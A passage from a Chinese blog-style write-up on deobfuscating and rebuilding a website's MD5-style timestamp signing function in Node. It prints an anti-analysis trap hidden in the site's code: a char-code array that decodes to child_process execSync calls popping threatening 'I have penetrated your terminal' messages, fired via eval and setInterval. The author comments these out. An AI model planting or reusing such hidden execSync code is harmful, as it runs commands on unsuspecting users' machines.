                return _0x13ce02 && _0x13ce02["asBytes"] ? _0x582db3 : _0x13ce02 && _0x13ce02["asString"] ? _0x5cd848["bytesToString"](_0x582db3) : _0x4150d9["bytesToHex"](_0x582db3);
            }, _0x30cc03["exports"] = function () {
                let _0x385257 = _0x3f415a(555);

                return result(_0x385257());
            };
        }();
    },
。。。。。。。。。。。。。。。。。。。删减。。。。。。。。。。。。。。。。
});

通过单步调试的方式一点点找到函数入口

找到函数入口

result = function (_0x4f52ae, _0x13ce02) {
    if (undefined === _0x4f52ae || null === _0x4f52ae) {
        throw new Error("Illegal argument " + _0x4f52ae);
    }

    var _0x582db3 = _0x4150d9["wordsToBytes"](_0xaa1e3a(_0x4f52ae, _0x13ce02));
	
	// 这里将三元表达式进行还原
    // return _0x13ce02 && _0x13ce02["asBytes"] ? _0x582db3 : _0x13ce02 && _0x13ce02["asString"] ? _0x5cd848["bytesToString"](_0x582db3) : _0x4150d9["bytesToHex"](_0x582db3);

    return _0x4150d9["bytesToHex"](_0x582db3);
}

继续断点确认第一个参数的值为时间戳

new Date()["getTime"]();

边执行边找函数，无 _0xaa1e3a 函数，向下断点，找到该函数

_0xaa1e3a = function (_0x326ed8, _0x3a712d) {
        _0x326ed8["constructor"] == String ? _0x326ed8 = _0x3a712d && "binary" === _0x3a712d["encoding"] ? _0x5cd848["stringToBytes"](_0x326ed8) : _0x1e0191["stringToBytes"](_0x326ed8) : _0x30d60b(_0x326ed8) ? _0x326ed8 = Array["prototype"]["slice"]["call"](_0x326ed8, 0) : Array["isArray"](_0x326ed8) || _0x326ed8["constructor"] === Uint8Array || (_0x326ed8 = _0x326ed8["toString"]());

        for (var _0x15400d = _0x4150d9["bytesToWords"](_0x326ed8), _0xbcaaa4 = 8 * _0x326ed8["length"], _0x226810 = 1732584193, _0x39c5a3 = -271733879, _0x375469 = -1732584194, _0xbfc4fd = 271733878, _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a++) _0x15400d[_0x27e50a] = 16711935 & (_0x15400d[_0x27e50a] << 8 | _0x15400d[_0x27e50a] >>> 24) | 4278255360 & (_0x15400d[_0x27e50a] << 24 | _0x15400d[_0x27e50a] >>> 8);

        _0x15400d[_0xbcaaa4 >>> 5] |= 128 << _0xbcaaa4 % 32, _0x15400d[14 + (_0xbcaaa4 + 64 >>> 9 << 4)] = _0xbcaaa4;
        var _0x5ac147 = [102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 116, 114, 121, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 96, 111, 115, 97, 115, 99, 114, 105, 112, 116, 45, 101, 39, 100, 105, 115, 112, 108, 97, 121, 32, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 32, 34, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 32456, 31471, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 34, 32, 119, 105, 116, 104, 32, 116, 105, 116, 108, 101, 32, 34, 21361, 38505, 35686, 21578, 34, 32, 115, 117, 98, 116, 105, 116, 108, 101, 32, 34, 36973, 36935, 28183, 36879, 34, 39, 96, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 109, 115, 103, 32, 32, 37, 117, 115, 101, 114, 110, 97, 109, 101, 37, 32, 47, 116, 105, 109, 101, 58, 49, 48, 48, 48, 48, 32, 32, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 99, 109, 100, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 39, 41, 125, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 122, 61, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 125, 125];
        R = "";
        
        for (let _0x50726b = 0; _0x50726b < _0x5ac147["length"]; _0x50726b++) {
            R += String["fromCharCode"](_0x5ac147[_0x50726b]);
        }

        for (var _0x555e78 = _0xaa1e3a["_ff"], _0xda568c = _0xaa1e3a["_gg"], _0x5ac147 = _0xaa1e3a["_hh"], _0x3b4f7f = _0xaa1e3a["_ii"], _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a += 16) {
            var _0x1bb416 = _0x226810,
                _0x26a408 = _0x39c5a3,
                _0x50a4d0 = _0x375469,
                _0xa5ce79 = _0xbfc4fd;
            se = eval, kp = setInterval, (_0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 7, -680876936), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 1], 12, -389564586), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 17, 606105819), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 3], 22, -1044525330), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 7, -176418897), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 5], 12, 1200080426), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 17, -1473231341), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 7], 22, -45705983), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 7, 1770035416), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 9], 12, -1958414417), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 17, -42063), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 11], 22, -1990404162), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 7, 1804603682), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 13], 12, -40341101), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 17, -1502002290), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 15], 22, 1236535329), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 5, -165796510), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 6], 9, -1069501632), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 14, 643717713), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 0], 20, -373897302), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 5, -701558691), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 10], 9, 38016083), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 14, -660478335), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 4], 20, -405537848), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 5, 568446438), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 14], 9, -1019803690), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 14, -187363961), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 8], 20, 1163531501), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 5, -1444681467), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 2], 9, -51403784), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 14, 1735328473), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 12], 20, -1926607734), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 4, -378558), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 8], 11, -2022574463), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 16, 1839030562), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 14], 23, -35309556), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 4, -1530992060), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 4], 11, 1272893353), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 16, -155497632), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 10], 23, -1094730640), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 4, 681278174), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 0], 11, -358537222), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 16, -722521979), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 6], 23, 76029189), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 4, -640364487), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 12], 11, -421815835), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 16, 530742520), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 2], 23, -995338651), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 6, -198630844), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 7], 10, 1126891415), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 15, -1416354905), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 5], 21, -57434055), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 6, 1700485571), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 3], 10, -1894986606), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 15, -1051523), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 1], 21, -2054922799), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 6, 1873313359), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 15], 10, -30611744), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 15, -1560198380), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 13], 21, 1309151649), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 6, -145523070), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 11], 10, -1120210379), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 15, 718787259), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 9], 21, -343485551), _0x226810 = _0x226810 + _0x1bb416 >>> 0, _0x39c5a3 = _0x39c5a3 + _0x26a408 >>> 0, _0x375469 = _0x375469 + _0x50a4d0 >>> 0, _0xbfc4fd = _0xbfc4fd + _0xa5ce79 >>> 0);
        }

        return _0x4150d9["endian"]([_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd]);
    };

补全 520 模块里的加载的其他模块函数

520: function (_0x30cc03, _0x3b380c, _0x3f415a) {
    !function () {
        var _0x4150d9 = _0x3f415a(684),
            _0x1e0191 = _0x3f415a(200)["utf8"],
            _0x30d60b = _0x3f415a(274),
            _0x5cd848 = _0x3f415a(200)["bin"],
   }

也是通过断点的方式一个个补全

var _0x525a1d = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    , _0x4150d9 = {
    'rotl': function (_0x2756a9, _0x71d183) {
        return _0x2756a9 << _0x71d183 | _0x2756a9 >>> 32 - _0x71d183;
    },
    'rotr': function (_0x121bf0, _0x350b24) {
        return _0x121bf0 << 32 - _0x350b24 | _0x121bf0 >>> _0x350b24;
    },
    'endian': function(_0x5a3083) {
        if (_0x5a3083['constructor'] == Number)
            return 0x1250ac1 + -0x5e1a45 + 0x381083 & _0x4150d9['rotl'](_0x5a3083, -0xe * 0xe2 + -0x1ad * -0x8 + -0x104) | -0x264e5 * 0x3e1a + 0x1ad7357c3 + -0x19c4a381 & _0x4150d9['rotl'](_0x5a3083, -0x9c5 + 0x12b7 + -0x2 * 0x46d);
        for (var _0x2ad6f1 = -0x129d + -0x6a * -0x36 + -0x3bf; _0x2ad6f1 < _0x5a3083['length']; _0x2ad6f1++)
            _0x5a3083[_0x2ad6f1] = _0x4150d9['endian'](_0x5a3083[_0x2ad6f1]);
        return _0x5a3083;
    },
    'randomBytes': function (_0x53de72) {
        for (var _0x22776c = []; _0x53de72 > 0x6d7 + 0x2102 + -0x1 * 0x27d9; _0x53de72--)
            _0x22776c['push'](Math['floor']((-0x1 * 0x1787 + -0x259a + 0x3e21) * Math['random']()));
        return _0x22776c;
    },
    'bytesToWords': function (_0x594a96) {
        for (var _0x28f613 = [], _0x21db57 = 0x25eb * -0x1 + -0x17c0 + 0x1 * 0x3dab, _0x2d387a = -0x26 * -0x6e + 0x145 * -0xe + 0x172; _0x21db57 < _0x594a96['length']; _0x21db57++,
            _0x2d387a += -0x1526 + 0x175f + -0x231)
            _0x28f613[_0x2d387a >>> 0x26fa + -0x179 * 0x1 + -0x257c * 0x1] |= _0x594a96[_0x21db57] << -0x84 * 0x11 + -0x3 * -0x577 + 0x789 * -0x1 - _0x2d387a % (-0x1c57 + -0xcc3 + 0x293a);
        return _0x28f613;
    },
    'wordsToBytes': function (_0x2eef8f) {
        for (var _0x62afce = [], _0x2f0e26 = -0x9b * -0x9 + 0x21eb + -0x275e; _0x2f0e26 < (-0x194 * 0x16 + 0xcc8 + 0x1610) * _0x2eef8f['length']; _0x2f0e26 += -0x331 * -0xb + -0x21c1 + 0x2 * -0xa9)
            _0x62afce['push'](_0x2eef8f[_0x2f0e26 >>> -0x1d87 + -0x1144 + 0x2ed0] >>> 0xe2 * 0x2 + 0x2 * 0xc7c + -0x1aa4 * 0x1 - _0x2f0e26 % (0x1adc + 0x90f + -0x23cb) & -0x1b6f + 0x136a + 0x904);
        return _0x62afce;
    },
    'bytesToHex': function (_0x596c3a) {
        // eval('!' + R + '()');
        for (var _0xe3643f = [], _0x42ec66 = 0xb5 + -0x2570 + 0x24bb; _0x42ec66 < _0x596c3a['length']; _0x42ec66++)
            _0xe3643f['push']((_0x596c3a[_0x42ec66] >>> 0x303 * -0x9 + 0x331 * -0x4 + 0x27e3)['toString'](0x10f8 + 0xeda + -0xfe1 * 0x2)),
                _0xe3643f['push']((-0x4af * -0x4 + -0x7 * -0x4ef + 0x3cd * -0xe & _0x596c3a[_0x42ec66])['toString'](0x155f * -0x1 + -0x165d * 0x1 + -0x2 * -0x15e6));
        return _0xe3643f['join']('');
    },
    'hexToBytes': function (_0x5686ea) {
        for (var _0x3e6564 = [], _0x14bee4 = -0x2f6 + -0x4 * -0x574 + -0x12da; _0x14bee4 < _0x5686ea['length']; _0x14bee4 += -0x11 * -0xea + 0x7 * 0x2e3 + -0x23bd)
            _0x3e6564['push'](parseInt(_0x5686ea['substr'](_0x14bee4, 0x3 * -0x8a5 + 0x218 + -0x6f * -0x37), 0x790 + -0x1285 + -0xd9 * -0xd));
        return _0x3e6564;
    },
    'bytesToBase64': function (_0x3c9e9f) {
        for (var _0x30a763 = [], _0x4275f2 = 0x1b44 + 0x1 * -0x998 + 0xc * -0x179; _0x4275f2 < _0x3c9e9f['length']; _0x4275f2 += 0x422 + -0x60d * -0x4 + -0x3 * 0x971)
            for (var _0x10e163 = _0x3c9e9f[_0x4275f2] << 0x46 * -0x86 + 0x3cd + 0x20e7 | _0x3c9e9f[_0x4275f2 + (0xdea + -0x258 + -0xb91)] << -0xfd * 0x1 + -0x1523 + 0x1628 | _0x3c9e9f[_0x4275f2 + (0xa99 + 0x23 * 0x4f + -0x1564)], _0x1d3cd9 = -0xa3f + 0x4 * 0x260 + 0x1 * 0xbf; _0x1d3cd9 < 0x1ca4 * 0x1 + 0x1d32 + -0x1346 * 0x3; _0x1d3cd9++)
                (-0x1 * -0x8ad + -0x89 * -0x33 + -0x4 * 0x8fc) * _0x4275f2 + (0x149b + 0x23da + 0x1 * -0x386f) * _0x1d3cd9 <= (-0x2 * -0x1256 + 0x2a5 * -0xa + -0x1b3 * 0x6) * _0x3c9e9f['length'] ? _0x30a763['push'](_0x525a1d['charAt'](_0x10e163 >>> (0x4 * -0x286 + 0x2e3 * -0x1 + 0xd01) * (-0xc86 + -0xd64 + 0x19ed - _0x1d3cd9) & 0x4 * -0x3c4 + 0xd8 * -0x16 + 0x21df)) : _0x30a763['push']('=');
        return _0x30a763['join']('');
    },
    'base64ToBytes': function (_0xcc3a5) {
        _0xcc3a5 = _0xcc3a5['replace'](/[^A-Z0-9+\/]/gi, '');
        for (var _0x56d8d7 = [], _0x48a599 = 0x11 + 0x43 * -0xe + 0x399, _0x596640 = -0x41b * -0x1 + 0x1241 + -0x13e * 0x12; _0x48a599 < _0xcc3a5['length']; _0x596640 = ++_0x48a599 % (-0x1 * -0x18cb + -0x258f + 0x199 * 0x8))
            -0x1 * -0x1651 + 0x1c59 + 0x511 * -0xa != _0x596640 && _0x56d8d7['push']((_0x525a1d['indexOf'](_0xcc3a5['charAt'](_0x48a599 - (-0x1de9 + 0x159 * -0x1b + 0x424d))) & Math['pow'](0x986 + 0x3b * 0x3b + -0x171d, -(-0x22ae * -0x1 + -0x29 * -0x1 + 0xf1 * -0x25) * _0x596640 + (0x15d + 0x24d9 + -0x262e)) - (0x1c30 + -0x20b * -0x9 + -0x7c3 * 0x6)) << (-0x6 * -0x1fb + -0x22a8 * 0x1 + 0x16c8) * _0x596640 | _0x525a1d['indexOf'](_0xcc3a5['charAt'](_0x48a599)) >>> -0x22e6 + 0x1 * 0x2159 + 0x193 - (0x1016 + 0xc2 * 0xc + -0x219 * 0xc) * _0x596640);
        return _0x56d8d7;
    }
};

_0x1e0191 = {
            "stringToBytes": function (_0x3dd7b4) {
                return _0x1eab11["bin"]["stringToBytes"](unescape(encodeURIComponent(_0x3dd7b4)));
            },
            "bytesToString": function (_0x14e80d) {
                return decodeURIComponent(escape(_0x1eab11["bin"]["bytesToString"](_0x14e80d)));
            }
        },
    _0x30d60b = function (_0x5da58c) {
        return null != _0x5da58c && null != _0x5da58c["constructor"] && "function" == typeof _0x5da58c["constructor"]["isBuffer"] && _0x5da58c["constructor"]["isBuffer"](_0x5da58c);
    },
    _0x5cd848 = {
            "stringToBytes": function (_0x44a47a) {
                for (var _0x3963a0 = [], _0xc3968b = 0; _0xc3968b < _0x44a47a["length"]; _0xc3968b++) _0x3963a0["push"](255 & _0x44a47a["charCodeAt"](_0xc3968b));

                return _0x3963a0;
            },
            "bytesToString": function (_0x2b3e64) {
                for (var _0x3102aa = [], _0x317f9f = 0; _0x317f9f < _0x2b3e64["length"]; _0x317f9f++) _0x3102aa["push"](String["fromCharCode"](_0x2b3e64[_0x317f9f]));

                return _0x3102aa["join"]("");
            }
        },

测试运行

代码补全到一定地步，运行可以成功，开始通过本地和浏览器联调的方式来进行数据对比

浏览器先运行，将时间戳赋值到本地也断点运行，发现生成的参数加密值不一致

开始一步步断点调试

第一个坑

这里会生成有可能导致系统出错的问题，将其注释掉

        var _0x5ac147 = [102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 116, 114, 121, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 96, 111, 115, 97, 115, 99, 114, 105, 112, 116, 45, 101, 39, 100, 105, 115, 112, 108, 97, 121, 32, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 32, 34, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 32456, 31471, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 34, 32, 119, 105, 116, 104, 32, 116, 105, 116, 108, 101, 32, 34, 21361, 38505, 35686, 21578, 34, 32, 115, 117, 98, 116, 105, 116, 108, 101, 32, 34, 36973, 36935, 28183, 36879, 34, 39, 96, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 109, 115, 103, 32, 32, 37, 117, 115, 101, 114, 110, 97, 109, 101, 37, 32, 47, 116, 105, 109, 101, 58, 49, 48, 48, 48, 48, 32, 32, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 99, 109, 100, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 39, 41, 125, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 122, 61, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 125, 125];
        R = "";
        //
        // for (let _0x50726b = 0; _0x50726b < _0x5ac147["length"]; _0x50726b++) {
        //     R += String["fromCharCode"](_0x5ac147[_0x50726b]);
        // }
        /*
        * 这里的 R 会生成
        * 'function(){try{try{const{execSync}=require(\'child_process\');execSync(`osascript-e\'display notification "我已经渗透了你的终端，你好好想想这个时候如果关机或者rm -rf 会怎么样？ ------- 安澜" with title "危险警告" subtitle "遭遇渗透"\'`)}catch(e){const{execSync}=require(\'child_process\');execSync(\'msg  %username% /time:10000  我已经渗透了你的cmd，你好好想想这个时候如果关机或者rm -rf 会怎么样？ ------- 安澜\')}}catch(e){z=new Date().getTime()}}'
        * */

同时发现这个 R 会在两处地方运行，都将其注释

    'bytesToHex': function (_0x596c3a) {
        // eval('!' + R + '()');

    // return kp(function () {
    //     // eval("!" + R + "()");

第二个坑定时器

这个 Kp 是一个定时器，还会定时执行 R 函数

kp = setInterval,

_0xaa1e3a["_ff"] = function (_0x3a6840, _0xd0eb14, _0x405461, _0xb5007a, _0x361147, _0xabcf32, _0x5ca78a) {
    var _0xc97bda = _0x3a6840 + (_0xd0eb14 & _0x405461 | ~_0xd0eb14 & _0xb5007a) + (_0x361147 >>> 0) + _0x5ca78a;

    return kp(function () {
         // eval("!" + R + "()");
    }, 999), (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;

最开始只是注释掉了 R 函数执行，后来发现运行完后无法结束，测试删除定时器并未影响结果输出，将其删除

    // return kp(function () {
    //     // eval("!" + R + "()");
    // }, 999), (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;
    return  (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;

第三个坑

其实这应该不是个坑，只是个人失误

在联调到这里的时候，发现前面生成的数值都一致，走到这个函数就出错了，调试半天没找到有什么特殊的地方，对比代码发现我这里之前将 0x1250ac1 + -0x5e1a45 + 0x381083 这种都已经转换成了对应数值，可能在转换的过程中出错了，导致结果不一样，将这里的代码替换之后可以成功

所以还是要细心

    'endian': function(_0x5a3083) {
        if (_0x5a3083['constructor'] == Number)
            return 0x1250ac1 + -0x5e1a45 + 0x381083 & _0x4150d9['rotl'](_0x5a3083, -0xe * 0xe2 + -0x1ad * -0x8 + -0x104) | -0x264e5 * 0x3e1a + 0x1ad7357c3 + -0x19c4a381 & _0x4150d9['rotl'](_0x5a3083, -0x9c5 + 0x12b7 + -0x2 * 0x46d);
        for (var _0x2ad6f1 = -0x129d + -0x6a * -0x36 + -0x3bf; _0x2ad6f1 < _0x5a3083['length']; _0x2ad6f1++)
            _0x5a3083[_0x2ad6f1] = _0x4150d9['endian'](_0x5a3083[_0x2ad6f1]);
        return _0x5a3083;
    },

在这一步其实就已经获取到了加密结果，与浏览器中加密结果一致

编写代码

js 解密代码

/*
@Time    : 2024/8/9 12:07
@Author  : QYF
@File    : 21.js
*/


var _0x525a1d = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    , _0x4150d9 = {
    'rotl': function (_0x2756a9, _0x71d183) {
        return _0x2756a9 << _0x71d183 | _0x2756a9 >>> 32 - _0x71d183;
    },
    'rotr': function (_0x121bf0, _0x350b24) {
        return _0x121bf0 << 32 - _0x350b24 | _0x121bf0 >>> _0x350b24;
    },
    'endian': function(_0x5a3083) {
        if (_0x5a3083['constructor'] == Number)
            return 0x1250ac1 + -0x5e1a45 + 0x381083 & _0x4150d9['rotl'](_0x5a3083, -0xe * 0xe2 + -0x1ad * -0x8 + -0x104) | -0x264e5 * 0x3e1a + 0x1ad7357c3 + -0x19c4a381 & _0x4150d9['rotl'](_0x5a3083, -0x9c5 + 0x12b7 + -0x2 * 0x46d);
        for (var _0x2ad6f1 = -0x129d + -0x6a * -0x36 + -0x3bf; _0x2ad6f1 < _0x5a3083['length']; _0x2ad6f1++)
            _0x5a3083[_0x2ad6f1] = _0x4150d9['endian'](_0x5a3083[_0x2ad6f1]);
        return _0x5a3083;
    },
    'randomBytes': function (_0x53de72) {
